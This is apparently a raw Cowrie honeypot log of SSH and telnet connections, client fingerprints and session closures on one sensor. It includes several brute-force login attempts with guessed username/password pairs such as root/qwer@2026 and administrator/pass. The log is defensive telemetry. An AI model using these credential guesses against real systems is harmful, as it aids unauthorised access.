{"eventid":"cowrie.session.closed","duration":41.16544985771179,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:08.172906Z","src_ip":"38.60.198.128","session":"2d5073d0a357","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39504,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6bd62e70c6c","protocol":"telnet","message":"New connection: 38.60.198.128:39504 (159.203.135.109:23) [session: b6bd62e70c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:08.365495Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":35370,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ffcd62e7263","protocol":"telnet","message":"New connection: 192.211.53.160:35370 (159.203.135.109:23) [session: 9ffcd62e7263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:10.763540Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":37420,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3b682008f5b","protocol":"ssh","message":"New connection: 57.128.222.14:37420 (159.203.135.109:22) [session: f3b682008f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:13.445320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:13.485812Z","src_ip":"57.128.222.14","session":"f3b682008f5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:13.591016Z","src_ip":"57.128.222.14","session":"f3b682008f5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@2026","message":"login attempt [root/qwer@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:14.000678Z","src_ip":"57.128.222.14","session":"f3b682008f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:15.109531Z","src_ip":"57.128.222.14","session":"f3b682008f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.80116295814514,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:15.486808Z","src_ip":"38.60.198.128","session":"c188d65948e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.5489022731781,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:16.224753Z","src_ip":"38.60.198.128","session":"13fa5a79549c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":36804,"dst_ip":"159.203.135.109","dst_port":23,"session":"b87e9ddfa309","protocol":"telnet","message":"New connection: 192.211.53.160:36804 (159.203.135.109:23) [session: b87e9ddfa309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:16.255863Z"}
{"eventid":"cowrie.session.closed","duration":40.251683950424194,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:16.384508Z","src_ip":"192.211.53.160","session":"4f94b6c89fa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.02503561973572,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:17.110149Z","src_ip":"192.211.53.160","session":"f5c3c089579a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36994,"dst_ip":"10.17.0.5","dst_port":23,"session":"956566e096b8","protocol":"telnet","message":"New connection: 38.54.119.93:36994 (10.17.0.5:23) [session: 956566e096b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:19.376060Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":60362,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffcefee39079","protocol":"telnet","message":"New connection: 45.81.23.16:60362 (10.17.0.5:23) [session: ffcefee39079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:21.021759Z"}
{"eventid":"cowrie.session.closed","duration":42.94083523750305,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:25.793837Z","src_ip":"38.60.198.128","session":"aac5ecc065fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":39484,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1eac2bae3a4","protocol":"telnet","message":"New connection: 192.211.53.160:39484 (159.203.135.109:23) [session: f1eac2bae3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:27.998013Z"}
{"eventid":"cowrie.session.closed","duration":120.0039165019989,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:30.627639Z","src_ip":"38.54.119.93","session":"a65e564b9416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.01731491088867,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:30.681368Z","src_ip":"192.211.53.160","session":"cbb80119e497","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.54003429412842,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:32.668903Z","src_ip":"38.60.198.128","session":"8818f4d4571b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":74.50110602378845,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:39.519538Z","src_ip":"38.60.198.128","session":"b7fd32f7541b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":34608,"dst_ip":"159.203.135.109","dst_port":23,"session":"06fb25421dcf","protocol":"telnet","message":"New connection: 64.227.82.147:34608 (159.203.135.109:23) [session: 06fb25421dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:40.726852Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58264,"dst_ip":"159.203.135.109","dst_port":23,"session":"54ce15897f02","protocol":"telnet","message":"New connection: 38.60.198.128:58264 (159.203.135.109:23) [session: 54ce15897f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:41.663042Z"}
{"eventid":"cowrie.session.closed","duration":35.52889680862427,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:43.435007Z","src_ip":"38.60.198.128","session":"d312c92c05f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.84055995941162,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:43.497652Z","src_ip":"38.60.198.128","session":"f9a049b97f92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.491958141326904,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:46.857330Z","src_ip":"38.60.198.128","session":"b6bd62e70c6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.297486305236816,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:50.060929Z","src_ip":"192.211.53.160","session":"9ffcd62e7263","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47898,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c300cbf87e1","protocol":"telnet","message":"New connection: 38.60.198.128:47898 (159.203.135.109:23) [session: 3c300cbf87e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:55.553138Z"}
{"eventid":"cowrie.session.closed","duration":42.668216705322266,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:58.923963Z","src_ip":"192.211.53.160","session":"b87e9ddfa309","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50762,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ff564e11d83","protocol":"telnet","message":"New connection: 38.60.198.128:50762 (159.203.135.109:23) [session: 0ff564e11d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:59.187232Z"}
{"eventid":"cowrie.session.closed","duration":18.465946674346924,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:59.192679Z","src_ip":"64.227.82.147","session":"06fb25421dcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":41782,"dst_ip":"10.17.0.5","dst_port":22,"session":"1609c6ad5ef5","protocol":"ssh","message":"New connection: 198.98.56.227:41782 (10.17.0.5:22) [session: 1609c6ad5ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:00.199116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:00.218277Z","src_ip":"198.98.56.227","session":"1609c6ad5ef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:00.502613Z","src_ip":"198.98.56.227","session":"1609c6ad5ef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53686,"dst_ip":"159.203.135.109","dst_port":23,"session":"41ff13181f86","protocol":"telnet","message":"New connection: 38.60.198.128:53686 (159.203.135.109:23) [session: 41ff13181f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:01.181222Z"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:01.270989Z","src_ip":"198.98.56.227","session":"1609c6ad5ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:02.290969Z","src_ip":"198.98.56.227","session":"1609c6ad5ef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":44520,"dst_ip":"159.203.135.109","dst_port":22,"session":"5172853f60b0","protocol":"ssh","message":"New connection: 57.128.222.14:44520 (159.203.135.109:22) [session: 5172853f60b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:05.000610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:05.010240Z","src_ip":"57.128.222.14","session":"5172853f60b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:05.121734Z","src_ip":"57.128.222.14","session":"5172853f60b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp-test","password":"ftp-test@2026","message":"login attempt [ftp-test/ftp-test@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:05.598501Z","src_ip":"57.128.222.14","session":"5172853f60b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.00771999359131,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:06.383690Z","src_ip":"38.54.119.93","session":"956566e096b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:06.729132Z","src_ip":"57.128.222.14","session":"5172853f60b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60368,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3f8eb9cd31e","protocol":"telnet","message":"New connection: 38.60.198.128:60368 (159.203.135.109:23) [session: d3f8eb9cd31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:06.814178Z"}
{"eventid":"cowrie.session.closed","duration":41.54038953781128,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:09.538292Z","src_ip":"192.211.53.160","session":"f1eac2bae3a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.78754472732544,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:10.809206Z","src_ip":"45.81.23.16","session":"ffcefee39079","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":29058,"dst_ip":"159.203.135.109","dst_port":22,"session":"84bcff8243b1","protocol":"ssh","message":"New connection: 193.24.211.95:29058 (159.203.135.109:22) [session: 84bcff8243b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:13.939089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:13.945624Z","src_ip":"193.24.211.95","session":"84bcff8243b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:14.068271Z","src_ip":"193.24.211.95","session":"84bcff8243b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"pass","message":"login attempt [administrator/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:14.578658Z","src_ip":"193.24.211.95","session":"84bcff8243b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:15.690823Z","src_ip":"193.24.211.95","session":"84bcff8243b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.581074476242065,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:16.244038Z","src_ip":"38.60.198.128","session":"54ce15897f02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":48154,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1acc8e217d3","protocol":"telnet","message":"New connection: 45.81.23.16:48154 (10.17.0.5:23) [session: a1acc8e217d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:18.077534Z"}
{"eventid":"cowrie.session.closed","duration":40.4316782951355,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:35.984704Z","src_ip":"38.60.198.128","session":"3c300cbf87e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.90523409843445,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:37.092345Z","src_ip":"38.60.198.128","session":"0ff564e11d83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.74828219413757,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:38.929380Z","src_ip":"38.60.198.128","session":"41ff13181f86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40578,"dst_ip":"159.203.135.109","dst_port":23,"session":"84aea0c7df7c","protocol":"telnet","message":"New connection: 38.60.198.128:40578 (159.203.135.109:23) [session: 84aea0c7df7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:39.514456Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45904,"dst_ip":"159.203.135.109","dst_port":23,"session":"49f0f5e3f734","protocol":"telnet","message":"New connection: 38.60.198.128:45904 (159.203.135.109:23) [session: 49f0f5e3f734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:39.777635Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":60978,"dst_ip":"159.203.135.109","dst_port":23,"session":"993a350ec0b7","protocol":"telnet","message":"New connection: 192.211.53.160:60978 (159.203.135.109:23) [session: 993a350ec0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:40.554368Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43610,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8cf2b7d5250","protocol":"telnet","message":"New connection: 38.60.198.128:43610 (159.203.135.109:23) [session: d8cf2b7d5250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:41.972505Z"}
{"eventid":"cowrie.session.closed","duration":39.973734617233276,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:46.787793Z","src_ip":"38.60.198.128","session":"d3f8eb9cd31e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":41474,"dst_ip":"159.203.135.109","dst_port":22,"session":"261ce14b207f","protocol":"ssh","message":"New connection: 57.128.222.14:41474 (159.203.135.109:22) [session: 261ce14b207f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:30:55.662741Z"}
